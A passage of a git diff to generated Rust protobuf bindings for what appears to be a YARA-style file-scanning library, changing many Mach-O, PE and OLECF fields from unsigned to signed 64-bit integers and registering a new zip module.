@@protoc_insertion_point(field:macho.Macho.stack_size) - pub stack_size: ::std::option::Option, + pub stack_size: ::std::option::Option, // @@protoc_insertion_point(field:macho.Macho.source_version) pub source_version: ::std::option::Option<::std::string::String>, // @@protoc_insertion_point(field:macho.Macho.symtab) @@ -5945,9 +5945,9 @@ impl Macho { self.reserved = ::std::option::Option::Some(v); } - // optional uint64 number_of_segments = 9; + // optional int64 number_of_segments = 9; - pub fn number_of_segments(&self) -> u64 { + pub fn number_of_segments(&self) -> i64 { self.number_of_segments.unwrap_or(0) } @@ -5960,7 +5960,7 @@ impl Macho { } // Param is passed by value, moved - pub fn set_number_of_segments(&mut self, v: u64) { + pub fn set_number_of_segments(&mut self, v: i64) { self.number_of_segments = ::std::option::Option::Some(v); } @@ -6000,9 +6000,9 @@ impl Macho { self.dynamic_linker.take().unwrap_or_else(|| ::std::vec::Vec::new()) } - // optional uint64 entry_point = 11; + // optional int64 entry_point = 11; - pub fn entry_point(&self) -> u64 { + pub fn entry_point(&self) -> i64 { self.entry_point.unwrap_or(0) } @@ -6015,13 +6015,13 @@ impl Macho { } // Param is passed by value, moved - pub fn set_entry_point(&mut self, v: u64) { + pub fn set_entry_point(&mut self, v: i64) { self.entry_point = ::std::option::Option::Some(v); } - // optional uint64 stack_size = 12; + // optional int64 stack_size = 12; - pub fn stack_size(&self) -> u64 { + pub fn stack_size(&self) -> i64 { self.stack_size.unwrap_or(0) } @@ -6034,7 +6034,7 @@ impl Macho { } // Param is passed by value, moved - pub fn set_stack_size(&mut self, v: u64) { + pub fn set_stack_size(&mut self, v: i64) { self.stack_size = ::std::option::Option::Some(v); } @@ -6409,16 +6409,16 @@ impl ::protobuf::Message for Macho { self.reserved = ::std::option::Option::Some(is.read_uint32()?); }, 72 => { - self.number_of_segments = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_segments = ::std::option::Option::Some(is.read_int64()?); }, 82 => { self.dynamic_linker = ::std::option::Option::Some(is.read_bytes()?); }, 88 => { - self.entry_point = ::std::option::Option::Some(is.read_uint64()?); + self.entry_point = ::std::option::Option::Some(is.read_int64()?); }, 96 => { - self.stack_size = ::std::option::Option::Some(is.read_uint64()?); + self.stack_size = ::std::option::Option::Some(is.read_int64()?); }, 106 => { self.source_version = ::std::option::Option::Some(is.read_string()?); @@ -6517,16 +6517,16 @@ impl ::protobuf::Message for Macho { my_size += ::protobuf::rt::uint32_size(8, v); } if let Some(v) = self.number_of_segments { - my_size += ::protobuf::rt::uint64_size(9, v); + my_size += ::protobuf::rt::int64_size(9, v); } if let Some(v) = self.dynamic_linker.as_ref() { my_size += ::protobuf::rt::bytes_size(10, &v); } if let Some(v) = self.entry_point { - my_size += ::protobuf::rt::uint64_size(11, v); + my_size += ::protobuf::rt::int64_size(11, v); } if let Some(v) = self.stack_size { - my_size += ::protobuf::rt::uint64_size(12, v); + my_size += ::protobuf::rt::int64_size(12, v); } if let Some(v) = self.source_version.as_ref() { my_size += ::protobuf::rt::string_size(13, &v); @@ -6630,16 +6630,16 @@ impl ::protobuf::Message for Macho { os.write_uint32(8, v)?; } if let Some(v) = self.number_of_segments { - os.write_uint64(9, v)?; + os.write_int64(9, v)?; } if let Some(v) = self.dynamic_linker.as_ref() { os.write_bytes(10, v)?; } if let Some(v) = self.entry_point { - os.write_uint64(11, v)?; + os.write_int64(11, v)?; } if let Some(v) = self.stack_size { - os.write_uint64(12, v)?; + os.write_int64(12, v)?; } if let Some(v) = self.source_version.as_ref() { os.write_string(13, v)?; @@ -8851,7 +8851,7 @@ static file_descriptor_proto_data: &'static [u8] = b"\ trx\x18\x01\x20\x01(\rR\x05nStrx\x12\x15\n\x06n_type\x18\x02\x20\x01(\rR\ \x05nType\x12\x15\n\x06n_sect\x18\x03\x20\x01(\rR\x05nSect\x12\x15\n\x06\ n_desc\x18\x04\x20\x01(\rR\x05nDesc\x12\x17\n\x07n_value\x18\x05\x20\x01\ - (\x04R\x06nValue\"\xa8\x01\n\x06Symtab\x12\x16\n\x06symoff\x18\x01\x20\ + (\x03R\x06nValue\"\xa8\x01\n\x06Symtab\x12\x16\n\x06symoff\x18\x01\x20\ \x01(\rR\x06symoff\x12\x14\n\x05nsyms\x18\x02\x20\x01(\rR\x05nsyms\x12\ \x16\n\x06stroff\x18\x03\x20\x01(\rR\x06stroff\x12\x18\n\x07strsize\x18\ \x04\x20\x01(\rR\x07strsize\x12\x18\n\x07entries\x18\x05\x20\x03(\x0cR\ @@ -8872,8 +8872,8 @@ static file_descriptor_proto_data: &'static [u8] = b"\ \tlocreloff\x12\x18\n\x07nlocrel\x18\x14\x20\x01(\rR\x07nlocrel\"\xd0\ \x02\n\x07Section\x12\x18\n\x07segname\x18\x01\x20\x01(\x0cR\x07segname\ \x12\x1a\n\x08sectname\x18\x02\x20\x01(\x0cR\x08sectname\x12\x1b\n\x04ad\ - dr\x18\x03\x20\x01(\x04R\x04addrB\x07\x82\x93\x19\x03*\x01x\x12\x1b\n\ - \x04size\x18\x04\x20\x01(\x04R\x04sizeB\x07\x82\x93\x19\x03*\x01x\x12\ + dr\x18\x03\x20\x01(\x03R\x04addrB\x07\x82\x93\x19\x03*\x01x\x12\x1b\n\ + \x04size\x18\x04\x20\x01(\x03R\x04sizeB\x07\x82\x93\x19\x03*\x01x\x12\ \x16\n\x06offset\x18\x05\x20\x01(\rR\x06offset\x12\x14\n\x05align\x18\ \x06\x20\x01(\rR\x05align\x12\x16\n\x06reloff\x18\x07\x20\x01(\rR\x06rel\ off\x12\x16\n\x06nreloc\x18\x08\x20\x01(\rR\x06nreloc\x12\x1d\n\x05flags\ @@ -8881,10 +8881,10 @@ static file_descriptor_proto_data: &'static [u8] = b"\ ed1\x18\n\x20\x01(\rR\treserved1\x12\x1c\n\treserved2\x18\x0b\x20\x01(\r\ R\treserved2\x12\x1c\n\treserved3\x18\x0c\x20\x01(\rR\treserved3\"\xd6\ \x02\n\x07Segment\x12\x18\n\x07segname\x18\x03\x20\x01(\x0cR\x07segname\ - \x12\x1f\n\x06vmaddr\x18\x04\x20\x01(\x04R\x06vmaddrB\x07\x82\x93\x19\ - \x03*\x01x\x12\x1f\n\x06vmsize\x18\x05\x20\x01(\x04R\x06vmsizeB\x07\x82\ - \x93\x19\x03*\x01x\x12\x18\n\x07fileoff\x18\x06\x20\x01(\x04R\x07fileoff\ - \x12\x1a\n\x08filesize\x18\x07\x20\x01(\x04R\x08filesize\x12!\n\x07maxpr\ + \x12\x1f\n\x06vmaddr\x18\x04\x20\x01(\x03R\x06vmaddrB\x07\x82\x93\x19\ + \x03*\x01x\x12\x1f\n\x06vmsize\x18\x05\x20\x01(\x03R\x06vmsizeB\x07\x82\ + \x93\x19\x03*\x01x\x12\x18\n\x07fileoff\x18\x06\x20\x01(\x03R\x07fileoff\ + \x12\x1a\n\x08filesize\x18\x07\x20\x01(\x03R\x08filesize\x12!\n\x07maxpr\ ot\x18\x08\x20\x01(\rR\x07maxprotB\x07\x82\x93\x19\x03*\x01x\x12#\n\x08i\ nitprot\x18\t\x20\x01(\rR\x08initprotB\x07\x82\x93\x19\x03*\x01x\x12\x16\ \n\x06nsects\x18\n\x20\x01(\rR\x06nsects\x12-\n\x05flags\x18\x0b\x20\x01\ @@ -8892,8 +8892,8 @@ static file_descriptor_proto_data: &'static [u8] = b"\ ons\x18\x0c\x20\x03(\x0b2\x0e.macho.SectionR\x08sections\"\xb3\x01\n\x07\ FatArch\x12!\n\x07cputype\x18\x01\x20\x01(\rR\x07cputypeB\x07\x82\x93\ \x19\x03*\x01x\x12'\n\ncpusubtype\x18\x02\x20\x01(\rR\ncpusubtypeB\x07\ - \x82\x93\x19\x03*\x01x\x12\x16\n\x06offset\x18\x03\x20\x01(\x04R\x06offs\ - et\x12\x12\n\x04size\x18\x04\x20\x01(\x04R\x04size\x12\x14\n\x05align\ + \x82\x93\x19\x03*\x01x\x12\x16\n\x06offset\x18\x03\x20\x01(\x03R\x06offs\ + et\x12\x12\n\x04size\x18\x04\x20\x01(\x03R\x04size\x12\x14\n\x05align\ \x18\x05\x20\x01(\rR\x05align\x12\x1a\n\x08reserved\x18\x06\x20\x01(\rR\ \x08reserved\"\x81\t\n\x04File\x12\x1d\n\x05magic\x18\x01\x20\x01(\rR\ \x05magicB\x07\x82\x93\x19\x03*\x01x\x12!\n\x07cputype\x18\x02\x20\x01(\ @@ -8903,11 +8903,11 @@ static file_descriptor_proto_data: &'static [u8] = b"\ \x05ncmds\x12\x1e\n\nsizeofcmds\x18\x06\x20\x01(\rR\nsizeofcmds\x12*\n\ \x05flags\x18\x07\x20\x01(\rR\x05flagsB\x14\x82\x93\x19\x10*\x0eflags:Fi\ leFlag\x12\x1a\n\x08reserved\x18\x08\x20\x01(\rR\x08reserved\x12|\n\x12n\ - umber_of_segments\x18\t\x20\x01(\x04R\x10numberOfSegmentsBN\x82\x93\x19J\ + umber_of_segments\x18\t\x20\x01(\x03R\x10numberOfSegmentsBN\x82\x93\x19J\ 2H\n\x18this\x20field\x20is\x20deprecated\x12\x1cuse\x20`segments.len()`\ \x20instead\x1a\x0esegments.len()\x12%\n\x0edynamic_linker\x18\n\x20\x01\ - (\x0cR\rdynamicLinker\x12\x1f\n\x0bentry_point\x18\x0b\x20\x01(\x04R\nen\ - tryPoint\x12\x1d\n\nstack_size\x18\x0c\x20\x01(\x04R\tstackSize\x12%\n\ + (\x0cR\rdynamicLinker\x12\x1f\n\x0bentry_point\x18\x0b\x20\x01(\x03R\nen\ + tryPoint\x12\x1d\n\nstack_size\x18\x0c\x20\x01(\x03R\tstackSize\x12%\n\ \x0esource_version\x18\r\x20\x01(\tR\rsourceVersion\x12*\n\x08segments\ \x18\x0e\x20\x03(\x0b2\x0e.macho.SegmentR\x08segments\x12$\n\x06dylibs\ \x18\x0f\x20\x03(\x0b2\x0c.macho.DylibR\x06dylibs\x12\x16\n\x06rpaths\ @@ -8931,11 +8931,11 @@ static file_descriptor_proto_data: &'static [u8] = b"\ \x1e\n\nsizeofcmds\x18\x06\x20\x01(\rR\nsizeofcmds\x12\x1d\n\x05flags\ \x18\x07\x20\x01(\rR\x05flagsB\x07\x82\x93\x19\x03*\x01x\x12\x1a\n\x08re\ served\x18\x08\x20\x01(\rR\x08reserved\x12\x82\x01\n\x12number_of_segmen\ - ts\x18\t\x20\x01(\x04R\x10numberOfSegmentsBT\x82\x93\x19P2N\n\x18this\ + ts\x18\t\x20\x01(\x03R\x10numberOfSegmentsBT\x82\x93\x19P2N\n\x18this\ \x20field\x20is\x20deprecated\x12\"use\x20`macho.segments.len()`\x20inst\ ead\x1a\x0esegments.len()\x12%\n\x0edynamic_linker\x18\n\x20\x01(\x0cR\r\ - dynamicLinker\x12\x1f\n\x0bentry_point\x18\x0b\x20\x01(\x04R\nentryPoint\ - \x12\x1d\n\nstack_size\x18\x0c\x20\x01(\x04R\tstackSize\x12%\n\x0esource\ + dynamicLinker\x12\x1f\n\x0bentry_point\x18\x0b\x20\x01(\x03R\nentryPoint\ + \x12\x1d\n\nstack_size\x18\x0c\x20\x01(\x03R\tstackSize\x12%\n\x0esource\ _version\x18\r\x20\x01(\tR\rsourceVersion\x12%\n\x06symtab\x18\x0e\x20\ \x01(\x0b2\r.macho.SymtabR\x06symtab\x12+\n\x08dysymtab\x18\x0f\x20\x01(\ \x0b2\x0f.macho.DysymtabR\x08dysymtab\x12C\n\x13code_signature_data\x18\ diff --git a/lib/src/modules/protos/generated/mod.rs b/lib/src/modules/protos/generated/mod.rs index fa3e535a4..b400407e3 100644 --- a/lib/src/modules/protos/generated/mod.rs +++ b/lib/src/modules/protos/generated/mod.rs @@ -24,10 +24,13 @@ pub mod sandbox; pub mod sigma; pub mod string; pub mod submitter; +#[cfg(feature = "test_proto2-module")] pub mod test_proto2; +#[cfg(feature = "test_proto3-module")] pub mod test_proto3; pub mod time; pub mod titan; +pub mod urlheadless; pub mod vba; pub mod vtnet; pub mod yara; diff --git a/lib/src/modules/protos/generated/mods.rs b/lib/src/modules/protos/generated/mods.rs index 3273dd279..844341fea 100644 --- a/lib/src/modules/protos/generated/mods.rs +++ b/lib/src/modules/protos/generated/mods.rs @@ -48,6 +48,8 @@ pub struct Modules { pub dex: ::protobuf::MessageField, // @@protoc_insertion_point(field:mods.Modules.msi) pub msi: ::protobuf::MessageField, + // @@protoc_insertion_point(field:mods.Modules.zip) + pub zip: ::protobuf::MessageField, // special fields // @@protoc_insertion_point(special_field:mods.Modules.special_fields) pub special_fields: ::protobuf::SpecialFields, @@ -65,7 +67,7 @@ impl Modules { } fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { - let mut fields = ::std::vec::Vec::with_capacity(10); + let mut fields = ::std::vec::Vec::with_capacity(11); let mut oneofs = ::std::vec::Vec::with_capacity(0); fields.push(::protobuf::reflect::rt::v2::make_message_field_accessor::<_, super::pe::PE>( "pe", @@ -117,6 +119,11 @@ impl Modules { |m: &Modules| { &m.msi }, |m: &mut Modules| { &mut m.msi }, )); + fields.push(::protobuf::reflect::rt::v2::make_message_field_accessor::<_, super::zip::Zip>( + "zip", + |m: &Modules| { &m.zip }, + |m: &mut Modules| { &mut m.zip }, + )); ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( "Modules", fields, @@ -179,6 +186,11 @@ impl ::protobuf::Message for Modules { return false; } }; + for v in &self.zip { + if !v.is_initialized() { + return false; + } + }; true } @@ -215,6 +227,9 @@ impl ::protobuf::Message for Modules { 82 => { ::protobuf::rt::read_singular_message_into_field(is, &mut self.msi)?; }, + 90 => { + ::protobuf::rt::read_singular_message_into_field(is, &mut self.zip)?; + }, tag => { ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; }, @@ -267,6 +282,10 @@ impl ::protobuf::Message for Modules { let len = v.compute_size(); my_size += 1 + ::protobuf::rt::compute_raw_varint64_size(len) + len; } + if let Some(v) = self.zip.as_ref() { + let len = v.compute_size(); + my_size += 1 + ::protobuf::rt::compute_raw_varint64_size(len) + len; + } my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); self.special_fields.cached_size().set(my_size as u32); my_size @@ -303,6 +322,9 @@ impl ::protobuf::Message for Modules { if let Some(v) = self.msi.as_ref() { ::protobuf::rt::write_message_field_with_cached_size(10, v, os)?; } + if let Some(v) = self.zip.as_ref() { + ::protobuf::rt::write_message_field_with_cached_size(11, v, os)?; + } os.write_unknown_fields(self.special_fields.unknown_fields())?; ::std::result::Result::Ok(()) } @@ -330,6 +352,7 @@ impl ::protobuf::Message for Modules { self.crx.clear(); self.dex.clear(); self.msi.clear(); + self.zip.clear(); self.special_fields.clear(); } @@ -345,6 +368,7 @@ impl ::protobuf::Message for Modules { crx: ::protobuf::MessageField::none(), dex: ::protobuf::MessageField::none(), msi: ::protobuf::MessageField::none(), + zip: ::protobuf::MessageField::none(), special_fields: ::protobuf::SpecialFields::new(), }; &instance @@ -371,16 +395,17 @@ impl ::protobuf::reflect::ProtobufValue for Modules { static file_descriptor_proto_data: &'static [u8] = b"\ \n\nmods.proto\x12\x04mods\x1a\nyara.proto\x1a\tcrx.proto\x1a\tdex.proto\ \x1a\x0cdotnet.proto\x1a\telf.proto\x1a\x08pe.proto\x1a\tlnk.proto\x1a\ - \x0bmacho.proto\x1a\x0bolecf.proto\x1a\tvba.proto\x1a\tmsi.proto\"\xb9\ - \x02\n\x07Modules\x12\x16\n\x02pe\x18\x01\x20\x01(\x0b2\x06.pe.PER\x02pe\ - \x12\x1a\n\x03elf\x18\x02\x20\x01(\x0b2\x08.elf.ELFR\x03elf\x12&\n\x06do\ - tnet\x18\x03\x20\x01(\x0b2\x0e.dotnet.DotnetR\x06dotnet\x12\"\n\x05macho\ - \x18\x04\x20\x01(\x0b2\x0c.macho.MachoR\x05macho\x12\x1a\n\x03lnk\x18\ - \x05\x20\x01(\x0b2\x08.lnk.LnkR\x03lnk\x12\"\n\x05olecf\x18\x06\x20\x01(\ - \x0b2\x0c.olecf.OlecfR\x05olecf\x12\x1a\n\x03vba\x18\x07\x20\x01(\x0b2\ - \x08.vba.VbaR\x03vba\x12\x1a\n\x03crx\x18\x08\x20\x01(\x0b2\x08.crx.CrxR\ - \x03crx\x12\x1a\n\x03dex\x18\t\x20\x01(\x0b2\x08.dex.DexR\x03dex\x12\x1a\ - \n\x03msi\x18\n\x20\x01(\x0b2\x08.msi.MsiR\x03msib\x06proto2\ + \x0bmacho.proto\x1a\x0bolecf.proto\x1a\tvba.proto\x1a\tmsi.proto\x1a\tzi\ + p.proto\"\xd5\x02\n\x07Modules\x12\x16\n\x02pe\x18\x01\x20\x01(\x0b2\x06\ + .pe.PER\x02pe\x12\x1a\n\x03elf\x18\x02\x20\x01(\x0b2\x08.elf.ELFR\x03elf\ + \x12&\n\x06dotnet\x18\x03\x20\x01(\x0b2\x0e.dotnet.DotnetR\x06dotnet\x12\ + \"\n\x05macho\x18\x04\x20\x01(\x0b2\x0c.macho.MachoR\x05macho\x12\x1a\n\ + \x03lnk\x18\x05\x20\x01(\x0b2\x08.lnk.LnkR\x03lnk\x12\"\n\x05olecf\x18\ + \x06\x20\x01(\x0b2\x0c.olecf.OlecfR\x05olecf\x12\x1a\n\x03vba\x18\x07\ + \x20\x01(\x0b2\x08.vba.VbaR\x03vba\x12\x1a\n\x03crx\x18\x08\x20\x01(\x0b\ + 2\x08.crx.CrxR\x03crx\x12\x1a\n\x03dex\x18\t\x20\x01(\x0b2\x08.dex.DexR\ + \x03dex\x12\x1a\n\x03msi\x18\n\x20\x01(\x0b2\x08.msi.MsiR\x03msi\x12\x1a\ + \n\x03zip\x18\x0b\x20\x01(\x0b2\x08.zip.ZipR\x03zipb\x06proto2\ "; /// `FileDescriptorProto` object which was a source for this generated file @@ -397,7 +422,7 @@ pub fn file_descriptor() -> &'static ::protobuf::reflect::FileDescriptor { static file_descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::FileDescriptor> = ::protobuf::rt::Lazy::new(); file_descriptor.get(|| { let generated_file_descriptor = generated_file_descriptor_lazy.get(|| { - let mut deps = ::std::vec::Vec::with_capacity(11); + let mut deps = ::std::vec::Vec::with_capacity(12); deps.push(super::yara::file_descriptor().clone()); deps.push(super::crx::file_descriptor().clone()); deps.push(super::dex::file_descriptor().clone()); @@ -409,6 +434,7 @@ pub fn file_descriptor() -> &'static ::protobuf::reflect::FileDescriptor { deps.push(super::olecf::file_descriptor().clone()); deps.push(super::vba::file_descriptor().clone()); deps.push(super::msi::file_descriptor().clone()); + deps.push(super::zip::file_descriptor().clone()); let mut messages = ::std::vec::Vec::with_capacity(1); messages.push(Modules::generated_message_descriptor_data()); let mut enums = ::std::vec::Vec::with_capacity(0); diff --git a/lib/src/modules/protos/generated/olecf.rs b/lib/src/modules/protos/generated/olecf.rs index 074fed481..dcf3c0a72 100644 --- a/lib/src/modules/protos/generated/olecf.rs +++ b/lib/src/modules/protos/generated/olecf.rs @@ -201,7 +201,7 @@ pub struct Stream { // @@protoc_insertion_point(field:olecf.Stream.type) pub type_: ::std::option::Option<::protobuf::EnumOrUnknown>, // @@protoc_insertion_point(field:olecf.Stream.size) - pub size: ::std::option::Option, + pub size: ::std::option::Option, // special fields // @@protoc_insertion_point(special_field:olecf.Stream.special_fields) pub special_fields: ::protobuf::SpecialFields, @@ -276,9 +276,9 @@ impl Stream { self.type_ = ::std::option::Option::Some(::protobuf::EnumOrUnknown::new(v)); } - // required uint64 size = 3; + // required int64 size = 3; - pub fn size(&self) -> u64 { + pub fn size(&self) -> i64 { self.size.unwrap_or(0) } @@ -291,7 +291,7 @@ impl Stream { } // Param is passed by value, moved - pub fn set_size(&mut self, v: u64) { + pub fn set_size(&mut self, v: i64) { self.size = ::std::option::Option::Some(v); } @@ -347,7 +347,7 @@ impl ::protobuf::Message for Stream { self.type_ = ::std::option::Option::Some(is.read_enum_or_unknown()?); }, 24 => { - self.size = ::std::option::Option::Some(is.read_uint64()?); + self.size = ::std::option::Option::Some(is.read_int64()?); }, tag => { ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; @@ -368,7 +368,7 @@ impl ::protobuf::Message for Stream { my_size += ::protobuf::rt::int32_size(2, v.value()); } if let Some(v) = self.size { - my_size += ::protobuf::rt::uint64_size(3, v); + my_size += ::protobuf::rt::int64_size(3, v); } my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); self.special_fields.cached_size().set(my_size as u32); @@ -383,7 +383,7 @@ impl ::protobuf::Message for Stream { os.write_enum(2, ::protobuf::EnumOrUnknown::value(&v))?; } if let Some(v) = self.size { - os.write_uint64(3, v)?; + os.write_int64(3, v)?; } os.write_unknown_fields(self.special_fields.unknown_fields())?; ::std::result::Result::Ok(()) @@ -518,7 +518,7 @@ static file_descriptor_proto_data: &'static [u8] = b"\ \x08is_olecf\x18\x01\x20\x02(\x08R\x07isOlecf\x12'\n\x07streams\x18\x02\ \x20\x03(\x0b2\r.olecf.StreamR\x07streams\"W\n\x06Stream\x12\x12\n\x04na\ me\x18\x01\x20\x02(\tR\x04name\x12%\n\x04type\x18\x02\x20\x02(\x0e2\x11.\ - olecf.StreamTypeR\x04type\x12\x12\n\x04size\x18\x03\x20\x02(\x04R\x04siz\ + olecf.StreamTypeR\x04type\x12\x12\n\x04size\x18\x03\x20\x02(\x03R\x04siz\ e*<\n\nStreamType\x12\x0b\n\x07UNKNOWN\x10\0\x12\x0b\n\x07STORAGE\x10\ \x01\x12\n\n\x06STREAM\x10\x02\x12\x08\n\x04ROOT\x10\x05B&\xfa\x92\x19\"\ \n\x05olecf\x12\x0bolecf.Olecf\x1a\x0colecf-moduleb\x06proto2\ diff --git a/lib/src/modules/protos/generated/pe.rs b/lib/src/modules/protos/generated/pe.rs index f58c5f135..cfcb6657a 100644 --- a/lib/src/modules/protos/generated/pe.rs +++ b/lib/src/modules/protos/generated/pe.rs @@ -51,7 +51,7 @@ pub struct PE { // @@protoc_insertion_point(field:pe.PE.timestamp) pub timestamp: ::std::option::Option, // @@protoc_insertion_point(field:pe.PE.image_base) - pub image_base: ::std::option::Option, + pub image_base: ::std::option::Option, // @@protoc_insertion_point(field:pe.PE.checksum) pub checksum: ::std::option::Option, // @@protoc_insertion_point(field:pe.PE.base_of_code) @@ -85,13 +85,13 @@ pub struct PE { // @@protoc_insertion_point(field:pe.PE.size_of_headers) pub size_of_headers: ::std::option::Option, // @@protoc_insertion_point(field:pe.PE.size_of_stack_reserve) - pub size_of_stack_reserve: ::std::option::Option, + pub size_of_stack_reserve: ::std::option::Option, // @@protoc_insertion_point(field:pe.PE.size_of_stack_commit) - pub size_of_stack_commit: ::std::option::Option, + pub size_of_stack_commit: ::std::option::Option, // @@protoc_insertion_point(field:pe.PE.size_of_heap_reserve) - pub size_of_heap_reserve: ::std::option::Option, + pub size_of_heap_reserve: ::std::option::Option, // @@protoc_insertion_point(field:pe.PE.size_of_heap_commit) - pub size_of_heap_commit: ::std::option::Option, + pub size_of_heap_commit: ::std::option::Option, // @@protoc_insertion_point(field:pe.PE.pointer_to_symbol_table) pub pointer_to_symbol_table: ::std::option::Option, // @@protoc_insertion_point(field:pe.PE.win32_version_value) @@ -103,21 +103,21 @@ pub struct PE { // @@protoc_insertion_point(field:pe.PE.number_of_sections) pub number_of_sections: ::std::option::Option, // @@protoc_insertion_point(field:pe.PE.number_of_imported_functions) - pub number_of_imported_functions: ::std::option::Option, + pub number_of_imported_functions: ::std::option::Option, // @@protoc_insertion_point(field:pe.PE.number_of_delayed_imported_functions) - pub number_of_delayed_imported_functions: ::std::option::Option, + pub number_of_delayed_imported_functions: ::std::option::Option, // @@protoc_insertion_point(field:pe.PE.number_of_resources) - pub number_of_resources: ::std::option::Option, + pub number_of_resources: ::std::option::Option, // @@protoc_insertion_point(field:pe.PE.number_of_version_infos) - pub number_of_version_infos: ::std::option::Option, + pub number_of_version_infos: ::std::option::Option, // @@protoc_insertion_point(field:pe.PE.number_of_imports) - pub number_of_imports: ::std::option::Option, + pub number_of_imports: ::std::option::Option, // @@protoc_insertion_point(field:pe.PE.number_of_delayed_imports) - pub number_of_delayed_imports: ::std::option::Option, + pub number_of_delayed_imports: ::std::option::Option, // @@protoc_insertion_point(field:pe.PE.number_of_exports) - pub number_of_exports: ::std::option::Option, + pub number_of_exports: ::std::option::Option, // @@protoc_insertion_point(field:pe.PE.number_of_signatures) - pub number_of_signatures: ::std::option::Option, + pub number_of_signatures: ::std::option::Option, // @@protoc_insertion_point(field:pe.PE.version_info) pub version_info: ::std::collections::HashMap<::std::string::String, ::std::string::String>, // @@protoc_insertion_point(field:pe.PE.version_info_list) @@ -131,7 +131,7 @@ pub struct PE { // @@protoc_insertion_point(field:pe.PE.data_directories) pub data_directories: ::std::vec::Vec, // @@protoc_insertion_point(field:pe.PE.resource_timestamp) - pub resource_timestamp: ::std::option::Option, + pub resource_timestamp: ::std::option::Option, // @@protoc_insertion_point(field:pe.PE.resource_version) pub resource_version: ::protobuf::MessageField, // @@protoc_insertion_point(field:pe.PE.resources) @@ -306,9 +306,9 @@ impl PE { self.timestamp = ::std::option::Option::Some(v); } - // optional uint64 image_base = 12; + // optional int64 image_base = 12; - pub fn image_base(&self) -> u64 { + pub fn image_base(&self) -> i64 { self.image_base.unwrap_or(0) } @@ -321,7 +321,7 @@ impl PE { } // Param is passed by value, moved - pub fn set_image_base(&mut self, v: u64) { + pub fn set_image_base(&mut self, v: i64) { self.image_base = ::std::option::Option::Some(v); } @@ -646,9 +646,9 @@ impl PE { self.size_of_headers = ::std::option::Option::Some(v); } - // optional uint64 size_of_stack_reserve = 29; + // optional int64 size_of_stack_reserve = 29; - pub fn size_of_stack_reserve(&self) -> u64 { + pub fn size_of_stack_reserve(&self) -> i64 { self.size_of_stack_reserve.unwrap_or(0) } @@ -661,13 +661,13 @@ impl PE { } // Param is passed by value, moved - pub fn set_size_of_stack_reserve(&mut self, v: u64) { + pub fn set_size_of_stack_reserve(&mut self, v: i64) { self.size_of_stack_reserve = ::std::option::Option::Some(v); } - // optional uint64 size_of_stack_commit = 30; + // optional int64 size_of_stack_commit = 30; - pub fn size_of_stack_commit(&self) -> u64 { + pub fn size_of_stack_commit(&self) -> i64 { self.size_of_stack_commit.unwrap_or(0) } @@ -680,13 +680,13 @@ impl PE { } // Param is passed by value, moved - pub fn set_size_of_stack_commit(&mut self, v: u64) { + pub fn set_size_of_stack_commit(&mut self, v: i64) { self.size_of_stack_commit = ::std::option::Option::Some(v); } - // optional uint64 size_of_heap_reserve = 31; + // optional int64 size_of_heap_reserve = 31; - pub fn size_of_heap_reserve(&self) -> u64 { + pub fn size_of_heap_reserve(&self) -> i64 { self.size_of_heap_reserve.unwrap_or(0) } @@ -699,13 +699,13 @@ impl PE { } // Param is passed by value, moved - pub fn set_size_of_heap_reserve(&mut self, v: u64) { + pub fn set_size_of_heap_reserve(&mut self, v: i64) { self.size_of_heap_reserve = ::std::option::Option::Some(v); } - // optional uint64 size_of_heap_commit = 32; + // optional int64 size_of_heap_commit = 32; - pub fn size_of_heap_commit(&self) -> u64 { + pub fn size_of_heap_commit(&self) -> i64 { self.size_of_heap_commit.unwrap_or(0) } @@ -718,7 +718,7 @@ impl PE { } // Param is passed by value, moved - pub fn set_size_of_heap_commit(&mut self, v: u64) { + pub fn set_size_of_heap_commit(&mut self, v: i64) { self.size_of_heap_commit = ::std::option::Option::Some(v); } @@ -817,9 +817,9 @@ impl PE { self.number_of_sections = ::std::option::Option::Some(v); } - // optional uint64 number_of_imported_functions = 38; + // optional int64 number_of_imported_functions = 38; - pub fn number_of_imported_functions(&self) -> u64 { + pub fn number_of_imported_functions(&self) -> i64 { self.number_of_imported_functions.unwrap_or(0) } @@ -832,13 +832,13 @@ impl PE { } // Param is passed by value, moved - pub fn set_number_of_imported_functions(&mut self, v: u64) { + pub fn set_number_of_imported_functions(&mut self, v: i64) { self.number_of_imported_functions = ::std::option::Option::Some(v); } - // optional uint64 number_of_delayed_imported_functions = 39; + // optional int64 number_of_delayed_imported_functions = 39; - pub fn number_of_delayed_imported_functions(&self) -> u64 { + pub fn number_of_delayed_imported_functions(&self) -> i64 { self.number_of_delayed_imported_functions.unwrap_or(0) } @@ -851,13 +851,13 @@ impl PE { } // Param is passed by value, moved - pub fn set_number_of_delayed_imported_functions(&mut self, v: u64) { + pub fn set_number_of_delayed_imported_functions(&mut self, v: i64) { self.number_of_delayed_imported_functions = ::std::option::Option::Some(v); } - // optional uint64 number_of_resources = 40; + // optional int64 number_of_resources = 40; - pub fn number_of_resources(&self) -> u64 { + pub fn number_of_resources(&self) -> i64 { self.number_of_resources.unwrap_or(0) } @@ -870,13 +870,13 @@ impl PE { } // Param is passed by value, moved - pub fn set_number_of_resources(&mut self, v: u64) { + pub fn set_number_of_resources(&mut self, v: i64) { self.number_of_resources = ::std::option::Option::Some(v); } - // optional uint64 number_of_version_infos = 41; + // optional int64 number_of_version_infos = 41; - pub fn number_of_version_infos(&self) -> u64 { + pub fn number_of_version_infos(&self) -> i64 { self.number_of_version_infos.unwrap_or(0) } @@ -889,13 +889,13 @@ impl PE { } // Param is passed by value, moved - pub fn set_number_of_version_infos(&mut self, v: u64) { + pub fn set_number_of_version_infos(&mut self, v: i64) { self.number_of_version_infos = ::std::option::Option::Some(v); } - // optional uint64 number_of_imports = 42; + // optional int64 number_of_imports = 42; - pub fn number_of_imports(&self) -> u64 { + pub fn number_of_imports(&self) -> i64 { self.number_of_imports.unwrap_or(0) } @@ -908,13 +908,13 @@ impl PE { } // Param is passed by value, moved - pub fn set_number_of_imports(&mut self, v: u64) { + pub fn set_number_of_imports(&mut self, v: i64) { self.number_of_imports = ::std::option::Option::Some(v); } - // optional uint64 